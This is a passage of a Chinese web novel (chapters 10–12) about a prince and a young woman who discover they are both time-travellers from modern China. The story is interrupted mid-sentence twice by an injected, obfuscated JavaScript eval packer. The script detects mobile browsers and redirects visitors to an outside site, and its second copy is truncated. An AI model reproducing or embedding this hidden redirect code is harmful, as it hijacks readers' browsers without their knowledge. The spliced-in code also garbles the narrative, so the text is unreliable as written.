“金子我拿不出手,到时候你就知道了。” 广安三百年的风雨里都住不进一双茶褐色的眼睛,云急月低眸。 他走过许多地方,塞北破雪,江南水桥,怎也敌不过莹莹焰火荡人心房。 10.第 10 章 第十章 莲池不大,藏于一处山谷中。但是被一家齐陵的商户划地圈进了自家的别院里。不过一听说是渊王殿下要来赏荷,立马便派了主家的一位已中了举人的嫡次子来作陪,还带上了自家正待字闺中的妹妹。 一行人浩浩荡荡的从齐陵城驱车赶来,到了地方虽已过了午时。但能在渊王殿下,这位据说曾是天之骄子的皇子面前露一面,已是莫大的福气。 齐陵赵家是在此地经营近百年的商户了,三公子赵谦是这辈读书最有出息的人,二十七就中了举,他如今已在朝廷挂了名,只等着取得进士功名便可一路迎风而上。 赵谦一路风尘仆仆的赶到别院,马车上的妹妹生得闭月羞花,她在丫鬟的搀扶下下了马车,正在整理衣裙。 如若是被殿下看中,带回王府,就算是只做妾对于商户之女来说也是莫大的福分了。赵明柒心里掩不住的激动 他俩踏进院门,走过垂花廊,刚瞧见西苑的莲池时,却被王府的侍卫拦了下来。 “二位,请留步。前面不是你们可以去的地方了。” 他俩不敢硬闯,恭恭敬敬地行了礼,“二位官爷,小生乃是这园子的主人,听闻渊王殿下前来赏荷,特地带着舍妹来拜见一番。” 那俩侍卫没有发话,等了好一会儿都没有放他俩进去的意思。 一时场面十分尴尬。 郁见深走了过来,见二人的穿着和脸上献媚似的神情,便了然于胸。 他制止了侍卫的阻拦,也行了个读书人的礼,微笑着说:“是赵家公子吧。” 赵谦称是。 “那还请赵公子回去吧,我家殿下今日只是单纯的来游玩赏荷,不想人打扰,拜见就更没必要了。”郁见深言辞温和,但语气着实强硬。 赵谦复又行一礼,“既知殿下驾临,此处也是蓬荜生辉。小生作为东道主理应招待贵客,小生带来了家中珍藏百年的好酒—枕上青,望殿下好好品鉴一番。”说完将身后的酒拿出来递到了郁见深的跟前。 “酒?” 果然是好酒,还没开封便能闻见丝丝醉人的清香,但他没接,“我们殿下今日赏荷,如此空明晴朗的日子实在与酒不搭,赵公子还是拿回去吧,告辞。” 他不多做停留,还了个礼后便离开了。 赵谦不认识这人是谁,但早早听闻渊王殿下身边有一位不惑之年的谋士,心思玲珑剔透,对局势运筹帷幄,已跟在他身边许久。想来便是这一位吧。 赵谦捧着酒站在原地还想说什么,却被侍卫拦着不让前进一步 “两位,请回。”侍卫的嗓音没有任何感情,公事公办。赵谦知道,如若自己再在这纠缠就该适得其反,被侍卫扔出去那就丢人了。他赶紧携着自家的妹妹往回走了。 转头却发现,妹妹正看着莲池边上的一处亭子怔怔出神。 赵明柒见过最大的官员就是齐陵城的知州曹大人了。她总觉得做官的人是沉稳严厉的,但这种严厉比起爹爹教训自己时的严厉不同,官员的严厉坚毅是让人不由自主的想下跪,看着他们的眼睛就会觉得自己心中藏不了秘密。 但她今日见到了在池畔凉亭端坐的那人,听哥哥说他是个皇子,是王爷,想来是比知州更大的官了。她看着他如远山倦怠的眉眼,锋利挺拔的鼻梁,和似笑非笑的唇角。他今天身着了一件点缀着金线的深色暗纹衣袍,看上去那么遥不可及,但她只觉得自己不由自主的想要靠近他。他像一块品质极佳的玉,散发出点点萤光。 他在看那株明堂雪嘛? 是啊,那明堂雪真衬他。 坊间曾流行过书生簪花的习俗,她想,那朵明堂雪要是簪在他的发边该是多么迷人的风姿。 那也不枉一个夏天就它独独吸引所有人的目光了。 正当赵明柒看得有些痴,俞修衡发现有人一直在盯着他,他寻着那眼神找过去,正正与赵明柒对视。 赵明柒慌忙低下头,她瞬然感到有些害怕,明明刚才还是温润如玉的贵公子,看过来的那瞬间却像是大海一般的深邃悠然,像是里面藏了一头巨大的野兽。 她不敢再看,呆呆的跟着哥哥回到了马车上。 “郁先生,刚才是何人?”俞修衡问道,他刚才看见那边廊下来了一男一女。 郁见深走进河畔的凉亭,没有坐下,他回答:“是这园子的主人,一家商户。” “原来就是他们圈了这片莲池?”俞修衡在来时明明听郁先生说这莲池是片野地,到了的时候才发现,竟然在一处别院里。他有些不高兴。 “是啊,我记得还是我年轻的时候跟着好友到访过,当时这片莲池还要更大些,微风拂过,这无穷的荷叶像是巨浪般翻涌。”郁见深年轻时曾游历过五湖四海,穿过不少秘境雨林,也到过许多疆域,致使他心中有着无边的苍穹与沟壑。 “实在是不妥,那郁先生你和好友的回忆岂不是都被这园子圈禁了?”俞修衡倒了一杯茶,请郁见深坐下。 “听闻这家的嫡子已是举人功名。”郁见深突然说到。 “那他日后岂不是会做官?” 郁见深朝俞修衡行了一礼后坐在了他对面,回答:“他不会。” “为什么?郁先生见他资质平平?”他不解的问。 郁见深摇摇头,“这跟他的资质才能没关系,他是商贾之家的后人,已是万贯家财,如若日后还身居高位,那这朝堂岂不是乱了套?” 俞修衡明白了郁先生的意思,这人怕是考一辈子进士,上面也不会让他过的,举人已经是他能达到的最高的高度了。 想通了之后他便没有再接话。他喝了一口手中上好的金骏眉,望向那朵明堂雪,“这花很漂亮。” “难得殿下喜欢。”郁见深嘴角勾起一抹笑意,也朝着莲池中央看去。 明堂雪比池中其他荷花的花瓣都要大上一圈,它一开放,惹得其他的花都失了颜色。整株花通透雪白,花蕊有点点鹅黄,在风里荡来荡去好不快活。 “我觉得它有些像我。”俞修衡突然说道。 “是啊,它皎洁、无瑕,又如此高傲,任风吹雨打日晒从不低头。确实很像殿下你。”郁见深回过头来看向他,眼里是令人忽视不了的滚烫。 俞修衡听到了却没有看他,顿了一会儿才说:“不,我只是觉得它孤零零的很像我。” 这里只剩它一株,离了这莲池就会死。 俞修衡在这待了许久,直到太阳西斜,郁先生提醒他风中已有露水的气息,他才不舍的离去。 上了马车还不忘向郁见深埋怨:“郁先生,这明堂雪甚是好看,但这园子也实在是碍眼。” 郁见深瞬间心里了然,吩咐侍卫先带着殿下回营地。而自己,恐怕要去齐陵城走一趟了。 方绾宁在营地震了个大惊,原来这不是商队,是王府就藩的人马。怪不得规制那么不同,那些侍卫训练有素的模样果然不是一般人啊。她更加小心翼翼了。 那救了自己的大娘也不是平民百姓啊,姓张,一家三口全在府里干活。自己是厨娘,她的丈夫是府里的马夫,儿子是门房。啧啧,一代又一代无穷尽,如果儿子也生了孩子,估计也是在府里寻差事谋生活的。方绾宁有些惊诧古代的这种思想,就算在王府做工,挣够了钱就出去自由自在的,哪能一辈子给人当仆人呢。 搞不懂啊,搞不懂。好在她不理解,但尊重。 方绾宁换好衣服就去帮张娘子干活了,打打下手什么的,反正不能闲着啊,她看见当兵的拿刀拿箭心里就堵得慌。 只见她在临时搭建的厨房里,拿了个簸箕就去河边找洗菜的张娘子了。张娘子是个热心的,可以趁机好好打听些消息。 方绾宁一边忙着手里的活儿,一边和张娘子搭话。 “张娘子,听说你们是从应京来的,京城一定特别繁华吧?不知我以后有没有机会见识到啊。” 聊天守则第一条,家乡特色当话题,再搭配一句以后想去定能开个好头。 果然,张娘子提到之前在应京的生活,那是络绎不绝,口若悬河。 方绾宁在一旁可劲儿附和,捧哏话术一套一套的,“哦,是吗?”,“那是怎么回事儿?”,“哈哈哈,想不到那么有趣”,“真的假的?”…… 张娘子实实在在的给方绾宁描述了一番豪门贵族的生活。 方绾宁得了个空子问道:“张娘子,承蒙你们照顾那么天,估计花费了你们不少银子吧。你说的那郁先生给我的药还救我一命,应该价值不菲,绾宁我不知该如何报答。” 让我卖身进府我肯定是做不到的呀,如果你们要钱的话我就只能找林小迟的四姐姐借钱啦。 “报答啥,没事儿,在你昏睡的时候我就问过钱管家了。待你醒来就将你放在就近的城镇。” 还好,还好,哈哈,这家人还怪好的勒! “我们王爷是个有仁慈之心的人,不会要你要医药费的。” 张娘子果然是在大户人家里当过差的,练就了一双火眼睛睛啊,一眼便看出我在想什么了。 张娘子哪儿能不明白,这姑娘的问题就差写在脸上了,生怕这偌大的王府找她还银子似的,瞧她一脸紧张得都快出汗的样子。 方绾宁虽面上慌张,嘴里却还是十分客套,“那真是多谢王爷了,我回家后一定专门请一座王爷的长生牌位,日日烧香供奉祈求他平平安安,来报答他的大恩大德。” 张娘子笑了,“你有这份心就好啦,郁先生那你也不用去了,我会让钱管家替你转达的。” “啊,我还想前去给那位郁先生磕个头呢。”方绾宁装出一副失望的模样,心里却欣喜若狂,不用去磕头真棒。 “郁先生一天天的那么忙,怎能还要他被底下这些小事打扰呢。没事的,这也是钱管家吩咐的,让我们无事也不要去前帐转悠。”张大娘点了点方绾宁。 她肯定明白啊,她一介草民,去王爷帐篷前转悠算个什么事儿?肯定居心不良啊。 “放心,张娘子,我明白的,定会安安分分。”方绾宁冲她展颜一笑,额上的纱布为她平添了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456868|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一份憨气。 说完,她们就听见前帐那边传来了马蹄声。 “是王爷赏荷回来了,绾宁丫头,手脚麻利些,洗完这些再到厨房来帮忙。”张娘子交代完起身先走了。 “好勒!”方绾宁笑滋滋的回答,随即加快了速度。尽力做一个懂事知趣,还吃苦耐劳的人。 王爷果然不一样啊,就算在荒郊野外也能吃上十二个菜。 方绾宁在厨房看着精致的菜肴被侍女们端走,咽了咽口水。 忙活半天,方绾宁和王府的下人们终于可以吃上他们的晚饭了,只见大家围坐在火堆前捧着白面馒头就着一碟小菜。 这差别也太大了吧!虽然已经比之前吃的好多了,馒头还管饱。但方绾宁都许久没沾荤腥了,前段时间还生了重病,她想着肉心里潮得慌。 发誓进城以后找到林小迟的四姐就先骗顿好的吃。她一边想着一边将手里的馒头咬了一大口。 接着她便咬到了一嘴油,低头一看,这儿哪是馒头,明明是肉包子啊。她抬眼看着一旁的张大娘都快哭了。 再生父母啊!她又咬了一口肉包子。感叹世上还是好人多。 张大娘看着方绾宁都快掉泪的眼睛,小声对她说:“你咋还流眼泪了?很久没吃肉了吧,瞧你瘦的。别哭了,你想让他们都知道就你一人吃的肉包子?” 方绾宁转过头把眼里沁的泪擦干净,一把抱住了张大娘,在她耳边说:“谢谢,张娘子。这是我吃过最好吃的包子了。我回家以后也要给您请立一个长生牌位,天天拜拜保佑你长命百岁!” 张娘子被她这娇俏的模样逗笑了,“哈哈,这我可承受不起。” 围坐在火堆旁的人们都被张娘子爽朗的笑声感染,纷纷过来打趣道:“张娘子,你有福气啦,看把这小姑娘感动的要供奉你呢!” 好吧,方绾宁刚才太激动了,说的话被一旁的人都听见啦。 方绾宁心里有些羞,却高兴极了。只见她三两口咬掉手中的肉包子,还意犹未尽的舔了下嘴边的油渍。站起身来对着他们像模像样的行了一礼,“没有张大娘在河边发现我,我估计早就死了,也感谢大家一路上对我的照顾。” 看着面前燃着的明亮篝火,天上还缀着繁星,地上的人们洋溢着国泰民安的笑脸,方绾宁兴致来了。 “绾宁无以为报,我给大家唱首歌吧。” 大家都鼓起掌来,十分捧场。 方绾宁将心里的十万流行金曲全都过滤掉。那些在这个时代可全是淫词艳曲啊,情情爱爱的肯定唱不得,最好的就是儿歌小调了。 方绾宁想到了一首,只见她清了清嗓子,开口唱到:“ 小小的一片云呀 慢慢地走过来 请你们歇歇脚呀 暂时停下来 山上的山花开呀 我才到山上来 原来嘛你也是上山 看那山花儿开……” 悠扬欢快的歌声在营地里流淌,大家被一首从没听过的调子,陶醉得都忘了吃手中的馒头。 “小小的一阵风呀 慢慢地走过来 请你们歇歇脚呀 暂时停下来” 营地现在出奇的安静,只剩方绾宁清脆嘹亮的歌声和木材燃烧发出的噼啪声。歌声传到前营,许多侍卫也听到了,他们只觉得这声音悦耳,像是谁故乡的童谣。 俞修衡晚饭没用多少,将剩下的饭菜赏下去后便坐在桌前看书。古代的娱乐活动太少又在野外,只好将一本已经看过的游记拿出来再读一遍。 倏然,耳边传来歌声。他一开始觉得熟悉,被帐外的嘈杂声盖住有些听不清。但歌声在继续,帐外的人不知不觉的都默契的没有再说话。 俞修衡终于听清楚了这首歌。 “小小的一片云呀 慢慢地走过来 请你们歇歇脚呀 暂时停下来…” 灵魂都仿佛颤抖了一下,他机械的站起了身,手里的书握也握不住,任由它掉在了地上。 是谁?谁在唱歌?她怎么会唱这首歌? 这首歌明明来自另一个时空,怎么会在这响起?难道是我的幻觉? 可歌声明明还在继续。 “山上的山花开呀 我才到山上来 原来嘛你也是上山 看那山花儿开……” 俞修衡难以克制那拼命想要钻出胸膛的情绪,他只觉得自己的心口像是压了一块大石头,哽咽得他根本没办法呼吸,霎时间铺天盖地的臆想涌上心头,像是寂静的荒原终于等到了那场狼藉的大火。 夜夜赴天光。 俞修衡再也压不住魂魄里这场突如其来的暴雨,任由雨水从眼睛里流淌出来。 他步履蹒跚的掀开营帐的帘子,追寻着那异世的歌谣循循而去… 多年后,方绾宁问他,要是当初没有听见她的歌他该当如何? 俞修衡回答:那我永远只会是俞修衡,再也做不回张乐川了。 11.第 11 章 第十一章 方绾宁唱着唱着突然有些想家,但不是怀远,是在遥远的另一个世界的家。 自她穿越以来真就没过过几天好日子啊,先是在姑母家养病躺了好几个月…… 哎,话说上次也撞头,这次也撞头,不会留下什么后遗症吧。我这铁头,你可千万别出事啊。方绾宁想着咋这次没撞啊撞的再穿回去呢。哎~ 村头系的秋千也没坐几次,河里的鱼该肥了吧,也没吃几条,后山上的鸟窝也没掏几次就遭遇那该死的周员外的破事儿,苦了方绾宁这小身板,还没及笄就要逃婚,逃婚就逃婚吧,还跟错了船,走错了路,好不容易遇见一个落魄的富二代,以为可以跟着混口饭吃,谁知还遭遇了土匪无奈跟他一起跳悬崖…… 啥也没捞着…… 越想越觉得命苦,方绾宁有些绷不住情绪,声音有些嘶哑,她停了下来,准备抱着张大娘痛哭一场。 “张娘子,我…我好想有些想家了……”方绾宁回过头,却发现周围的人咋都跪了一地啊? 张娘子还扯了扯她裤腿,“绾宁,快跪下来拜见渊王殿下。” 方绾宁转过头,看见身后一位穿着华服的男人,还没来得及细看,就被张娘子扯着跪下磕头,“别看了,快跪啊你。” 好吧,只留下一个衣服很贵的印象。方绾宁就被张娘子摁着头结结实实的行了一个大礼。 俞修衡顺着声音找到了这儿,看见一个身材娇小的女子正在唱,她声音越来越小,但俞修衡听清了,就是她在唱,就是她。 他难以平复内心有些焦躁急切的情绪,眼眶红得跟上了胭脂似的。 围坐在火堆旁的下人们看见了他,纷纷对着他磕头下跪。毕竟平时就算在王府,这些人都少时间能够近距离看见王爷,他们如今有些胆怯,不明白王爷那千金贵体为什么会到这儿来,他们惶恐不安,头快低到了尘埃里。 俞修衡见了他们的行为习以为常,但那女孩子也跟着跪了下去,看不清脸,好像也被吓到了的样子。 他把心沉了沉,将情绪压在胸口,然后开口问道:“刚才是你在唱歌嘛?” 方绾宁莫名,啊?唱歌扰民嘛?见她半晌没回答,一旁的张娘子挨了挨她,“绾宁,殿下问你话呢,快回答。” 她这才反应过来,回答道:“哦,回殿下,是我。” “这首歌你是从何处听来的。” “是…是我的家乡传唱的小调。如有打扰王爷休憩,草民罪该万死。”先认错再说,态度先摆端正。 “你的家乡在哪儿?”俞修衡快维持不住渊王殿下这个身份了,他现在只想冲过去问她,你是不是也是穿越来的。 方绾宁也纳闷啊,这王爷半夜不睡觉来调查户口吗,但也不能说怀远啊,要是他去查到怀远没有这首歌,那不得拿刀砍了我?古代的王公贵族可是拥有着特权。 方绾宁只好模糊的回答:“回殿下,是一个很远,很远的地方。” “那地方叫什么名字?” “叫……叫……”方绾宁编不出来了,或是她该编个什么地名出来才能不被砍头啊? 俞修衡也没耐心了,他直接说:“你是不是来自地球?是不是中国?你是不是二十一世纪的人?” 方绾宁猛的抬头,满脸震惊,“你……你你……” 瞧见方绾宁的表情,俞修衡还不明白嘛?他如今也管不了那么多了,走上前去将方绾宁从地上拉起来,不顾众人的目光直接朝着河边走去。 “这不是说话的地方,你跟我来。” 方绾宁僵硬的被他拉着走,脑子还有些转不过来。 身后的侍卫齐齐的跟了过来,被俞修衡大声呵斥,“你们别跟着我!” 侍卫们第一次见殿下如此疾声厉色,都纷纷止住了脚步,只敢远远的守在周围。 直到远离了营地,河边只听得见溪水哗啦流淌的声音,火把燃烧的光亮再也照不到两人的身上,唯一能看得清彼此的光源只剩下头顶亘古不变的月亮。 俞修衡停了脚步,他回身看着面前这个女孩子,表情欣喜若狂,锋利如刀削的眉眼在月色下显得那样炽热。 “你也是穿越来的吧?” “也?”方绾宁难道碰见了老乡?“难道你也是?”她还有些存疑,“不行,咱们得对对暗号。” 俞修衡小狗式的点头。 ”奇变偶不变?” “符号看象限!” “宫廷玉液酒?” “一百八一杯!” “How are you?” “I''m fine, thank you,and you?” ………… “亲人啊!”方绾宁终于找到组织了,喜极而泣,不管不顾的冲跳上篮抱住了俞修衡的脖子,将自己鼻涕擦到了他价值不菲的衣服上。 俞修衡也一把搂住方绾宁跳到自己身上的双腿,“不再考考嘛,我还能背化学元素周期表。” 关珏守在周围,默默上前了一步。只要这个看起来人畜无害的小姑娘,有一丁点的伤人之举,关珏就冲过去拧断她的脖子。 “不用了,不用。那你还要我唱一首孤勇者不?” “哈哈哈,不用。”俞修衡高兴得要疯掉了,眼前这个小女孩是他与那个世界唯一的联系了,唯一能证明他存在过另一个时空的人证啊。 俩人在河边抱了好一会儿,周围的侍卫目光赫赫得快冲上来了。 郁先生,郁先生呢?郁先生再不来,渊王殿下身上那件衣裳就要皱得不成样子了呀。 方绾宁心情终于平静了下来,她松开了手,“哥们儿,你混的太好了呀,一来的身份就是王爷,你是胎穿还是魂穿?你咋穿的?穿过来多久了?” 俩人迅速交流情报,就坐在皎洁的月光下,临着永不回头的流水。 俞修衡神情欣喜若狂,回答道:“我刚收到大学录取通知书就被从天而降的冰箱砸得稀碎,醒来就到这儿了,刚开始还是个婴儿的时候太不习惯了,还好我没表现得过分异常,不过你猜我怎么着,我刚八个月就是太子了……” “什么!这么牛的嘛?你这开局太炸裂了……” “是啊是啊,我刚开始兴奋得不行,可算被我逮着机会炫一波了,我一两岁的时候啥也不能干,就把我之前苦学十二年的知识全在脑子里过了一遍,三岁他们给我启蒙的时候我就知道是时候装一波大的了……” “不会吧,不会吧,难道你把唐诗三百首全特么背出来了?” “哈哈哈,这倒没有。而且待我知道这朝代还不是我们历史书上写过的任一朝代的时候,我就知道我大展宏图的时候到了,唐诗三百首算什么,我还默写了三十六计!” “牛啊,哥们儿,你要不要发行一种货币,上面印着你头像的那种!” “这些都是小儿科,不要质疑当时我刚高考完的知识储备,我之后还写出了一篇震惊他们双下巴的绝世文章呢,全天下都在赞我有如文曲星下凡!” “那…那个横渠四句你背了没?” “当然背了呀,这是必须的!” ………… 方绾宁在一旁星星眼的望着俞修衡说了小半天,突然想哭。 “哎,你知道吗,我当时一箭就射穿了那位登徒子的幞头……”俞修衡发现,他还在说他英雄救美,救完之后潇洒转身只留下一个背影的事儿还没说呢,这小女孩眼里怎么直泛泪光? “你怎么了?” “我没怎么,我就是觉得我太苦了。” 哥们儿啊,你拿的这是什么龙傲天剧本?这样衬得我的经历像个NPC一样啊。方绾宁越想越委屈啊,扑进他怀里就掉了眼泪。 周围的侍卫看着那女的咋又往自家殿下怀里钻啊,悄悄想靠近保护,却被俞修衡回头瞪了一眼,他们才识趣的退回了阴影里。 “你这个,你这个不公平啊。” “怎么了,那你是怎么到这儿来的?” 方绾宁开始说起,自己这对比起来简直不堪入耳的经历。 “我当时刚过研究生考试呢,爬山庆祝一下,谁知在山顶一脚踩空摔下悬崖。” 方绾宁抹了抹眼泪又正了正头上被她蹭歪了的纱布,继续说:“刚穿越来就进了这小姑娘的身体里,也是伤了头在床上躺了好几个月,一点原主的记忆都没接收到哇,成天提心吊胆生怕露馅……” “你可以装失忆啊。”俞修衡出谋划策。 果然是老乡啊,像这种穿越者必用技能在二十一世纪还是十分普及。 “咱俩想一路去了,蒙混过关后还是过了好一段轻松日子,日子虽然穷一些但还是挺快乐的,那家人不错。然后我就被逼婚了,我这具身体才十四啊,被一个当地有点权势的员外看中,给他那病入膏肓的儿子冲喜。” 俞修衡皱眉,“那么惨的吗?,你没答应吧?” “我当然没答应啦,我当时就和我那姑母商量逃婚了,谁知道逃婚却走错了路,路上还遇见了一个二百五,那个二百五还是个富二代呢,我们一起遭遇了土匪,一起落下了悬崖,然后就被你王府那厨娘张娘子捡到啦。明儿进城我还要去找人然后去找那个富二代呢。” 俞修衡好像知道这么一回事儿,他们在广安境内的江边救起了一个姑娘,还好他们当时留下了她,要不然他也不知道以后这寂寥的生活还有什么盼头。 “我可以帮你找。”俞修衡说。 “不用,不用,我进城去找他四姐,让她四姐去找。”方绾宁摇头。 “你不跟我一起嘛?”俞修衡急忙说道。 “肯定要和你一起啊,你现在这身份,傍上你我算是少走至少三十年弯路啦!哈哈哈……话说你能让厨房给我做顿肉嘛,我刚才在厨房看见给你准备的那些菜,我差点把口水滴里面。”方绾宁趁机提出非分之想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但你……”俞修衡伸出手量了量她身高,才到自己的胸口啊。 方绾宁拍下他比着自己头顶的手,“你别这样伤人心啊,肯定是这具身体营养不良,吃不起饭,我以后还能再长高的!而且我上辈子24哎,你这个18岁的小高中生还不赶快叫我秋姐姐。” 俞修衡有些不乐意,“但我这辈子比你整整大五岁呢。” “我还上辈子大你6岁呢。” 两人在河边争论起年龄的问题,方绾宁气鼓鼓的样子像是一只充气的河豚,逗得俞修衡败下阵来,笑着说:“好吧,好吧。大丈夫能屈能伸。秋姐姐?” 方绾宁这才开心得将眼角弯成了月牙,“这还差不多,我以后会罩着你的。” 她拍了拍她那不存在的胸脯,对张乐川做出了个保证。 日月交叠,群山庞大又安静。 亿万光年外的星光啊,请保佑眼前这对异世的灵魂能永远悠哉,永远挺过难捱,永远持盏照亮彼此的心骸…… 郁见深在方绾宁打掉俞修衡的手时,就从齐陵城回来了。 他下马入帐却发现,往日明明在安心看书的殿下居然不在营帐中。他走出营帐发现人员少了大半,连忙招人前来问清楚情况。 “什么?殿下听到一阵歌声就含泪跑出去了?” “是,很多人都看见殿下用衣袖拭泪。” “眼泪?殿下往哪儿去了,还不快带路!” 郁见深已经有四年没见过殿下的眼泪,上一次见还是他被冤枉在东宫□□,和陛下解释时流下的眼泪。 郁见深绕过前营的营帐,看见一大批侍卫围在河边。 “关珏!”郁见深冲着人群里叫道。 关珏立马走了出来,朝他行了礼,“郁先生,您终于回来了。” “发生什么事,你们怎么在这儿,殿下呢?” 人群自动分开,露出在河边的俩人。 关珏立马上前说明情况,“郁先生,咱们殿下好像看上了那个唱歌的小姑娘了……” 关珏将前因后果详细的说给他听,听到那小姑娘扑进殿下怀里的时候眉头都拧成了一股绳。 “然后,你们就在这看着?那姑娘要是刺客怎么办!” “没办法,殿下不让我们靠近,殿下还瞪我们。” “关珏!”郁见深大声斥道:“你是不是忘了你的职责。” 关珏立马单膝跪下,低着头回答:“卑职当然没忘,但殿下和那姑娘在一起的时候很快乐,他们一直在笑。” 郁见深有些动怒,眸色转冷,“马上去查这个姑娘的底细,要快。” 手下的人领了令立马去办了。 郁见深走上前,从树林的阴影里走到月光下,朝着河边还在调笑打闹的两人喊道:“渊王殿下!” 12.第 12 章 第十二章 “渊王殿下,夜深露重,该早些回去歇息了。”郁见深走了过来,看见身旁的方绾宁眼神暗了暗,说道:“不知这位姑娘是?” 方绾宁见一位风度翩翩的中年男人走上前来,一身儒士打扮,头戴纶巾,浓眉凤眼,深邃的眼眶里好似藏着他前半生走过的所有道路,下巴的胡子也打理的十分整齐,嘴角噙着笑,是个十足的帅大叔模样。 俞修衡连忙将身后的方绾宁往前推了推,“郁先生,你还记得钱管家他们在广安境内曾经救起一个女子嘛?” 郁见深点点头,“好像确有此事。” “绾宁就是那个被他们救上来的女子,她还是我一个非常非常重要的人。”俞修衡笑着将方绾宁介绍给他认识,“绾宁,这是郁见深郁先生,他是我的老师,看着我长大的。”然后还小声在方绾宁耳边小声说:“他有些严肃,但他人非常好。” 方绾宁听见面前这个帅大叔就是救自己一命的人,连忙端庄起来,福了福身子,弯腰行了个礼,“原来您就是郁先生,我…不对…民女感谢您前段时间的赐药之恩,如若不是您的药,我只怕是早就死在了路上。绾宁十分感谢……” 没等方绾宁把话说完,郁见深便看也不看方绾宁,对着俞修衡说:“渊王殿下,你说这位姑娘是你非常重要之人,但恕我眼拙,我在应京城内从未见过这个姑娘,殿下你更是鲜少外出游历,不知是在何处认识的她。” 额,俞修衡也还没想好理由,总不能说她是自己老乡吧。俞修衡的脑子转了又转,方绾宁也苦恼自己该用什么身份跟在俞修衡身边呢,他现在是王爷,还是个夺嫡失败的皇子,身边肯定缠绕着许许多多各方势力,自己一个突然冒出来的人肯定会引起他们的怀疑啊。 俩人相顾无言。 不过关键时刻还是得看方绾宁的。突然,只见她灵光一闪,跪在了郁见深身前,声音还带了些颤抖,“民女与殿下之前确不相识,只因为民女的一首童谣让殿下起了思乡之情,殿下还屈尊降贵与民女聊了许多家乡趣事,让他回忆起非常多的快乐时光……” 方绾宁有些编不下去了,侧眼看了看一旁的俞修衡,用唇语对他说:你快接着编啊。 俞修衡收到讯息,立马接着她的话继续说,“是啊,我与绾宁聊天非常开心,引为知己,惺惺相惜,我决定让她做我的贴身侍女。” 方绾宁眨眼:干得漂亮! 俞修衡嘴角往上一扬:那还用说? 郁见深看见俩人之间的小动作,然后听着他们漏洞百出的解释,一时心里五味杂陈。 他看见俞修衡此时的笑脸竟然有些恍惚,他照顾了他很多年,从还拿不动弓箭的时候就见证着他的长大,俞修衡也曾真诚如朝阳般明媚地笑过,尽管应京的阴翳诡谲磋磨了他好几年,但今日能再见殿下的粲然笑脸,实在是可以让他忘记这种微不足道的谎言。 只要这个女子在自己的眼皮子下面,她就伤害不到殿下。 郁见深做出恍然大悟的表情,“原来如此,那我立马下去让钱管家安排。” 俞修衡见如此便蒙混过了关,心里很是得意,连忙拉起地上还跪着的方绾宁,“那我先带她去营帐看看。” 说完就带着她穿越众目睽睽的犀利目光回了他的营帐。 “今日时间紧迫,先委屈一下你了。这里是我的地方,没人敢进来。”俞修衡将方绾宁安置在自己营帐内,“你今晚先睡在那边的躺椅上吧,以你现在的身材,睡那绰绰有余。” 方绾宁听着他怡然的语气,面上还有些尴尬。 张乐川你是一点不管不顾营帐外他的侍卫队啊,当着那么多人的面牵着她的手进了帐篷,方绾宁感觉自己还有些接受不了身份的转变,毕竟就在半天前,自己还是个流浪天涯的,连去处都没有的小小平民一枚。 转过眼,现在就有个大靠山了?王爷?哇,好粗一根金手指。 见方绾宁愣在原地盯着自己老半天没说话,俞修衡点了点她额头,问:“怎么了,你愣神干嘛?” “我这就一步登天了?”方绾宁醒过神来,看着俞修衡帐内丝毫不逊色五星酒店的摆设,谁能想到在这荒郊野岭,他们居然能在王爷睡的帐篷里拿出一扇红雕镶翡翠屏风!方绾宁还走到床前蹭了蹭铺在上面丝缎一般光滑的锦被,“我就不能睡床?” 俞修衡看着方绾宁东瞅瞅西摸摸的样子逗得嘴角就没放下来过,“哈哈哈,也不是不行。但你总不能让我睡那张脚都伸不开的躺椅吧,今天先委屈你一下,明日我们进城了,你就能睡床了。” 俞修衡见她抱着被子不愿意撒手,“好吧,这个被子拿给你。” “好!谢谢你啊。”方绾宁终于是满意了。 “渊王殿下。”帐篷外响起郁见深的声音。 方绾宁立刻起身站好。俞修衡也整了整衣冠,坐在榻上招呼郁见深进来,“请进,郁先生。” 郁见深得了令便掀开帘子进了帐篷,身后还跟着钱管家,“殿下,虽然方姑娘是你的贴身侍女,但照规矩,她是万万不能与你同住的。我带了钱管家来,他会教导方姑娘礼仪和王府的规矩。” 钱管家上前行礼,“渊王殿下,还请允许老奴带这位姑娘下去安顿,明日便会让她来伺候您起居。“ “不用了,她就住这儿,钱管家尽管下去拿床褥和衣裳。”俞修衡吩咐道。 顿了顿又说:“还有,她不用受你管教。” 这个世界有我一个被规训的人就行了,不用再多一个。 “渊王殿下,这不合规矩…”钱管家欲再说,被郁见深打断,“殿下,我们知方姑娘对你非常重要,不敢让她做什么的,只是,方姑娘毕竟是女子,你俩同住一处,对方姑娘的名声实在不利,我已安排她就住在殿下的右边这个小帐子。肯定会让她得到好的照顾,况且,方姑娘的伤也该上药了,额头上的还好,可姑娘身上的擦伤……那也不便让她待在这儿啊。” 方绾宁看着他们之间有些剑拔弩张的气氛,立马出来打圆场,“渊王殿下,郁先生说得在理,我身上的伤也该上药了,而且我住在你附近呢,请您安心。”方绾宁朝着她眨了眨眼睛。 俞修衡没再说什么,“好吧,那你先去吧,明天我再来找你。” “你好好休息,嗯?”说完方绾宁与他们退出了帐子。 他们走后,俞修衡瞬间感觉帐篷陷入了庞大的安静,心里也空落落的。好像刚才的方绾宁是自己臆想出来的一样。他呆坐了许久,突然起身朝外走去。 “关珏。”他唤道。 “属下在。”关珏拱手行礼。 “刚才我是不是带回一个女孩子?矮矮瘦瘦的,包子脸,杏眼,长得怪可爱的。” 关珏疑惑。 啊?不是才从里面出来不过一盏茶的功夫嘛?殿下是失忆了? 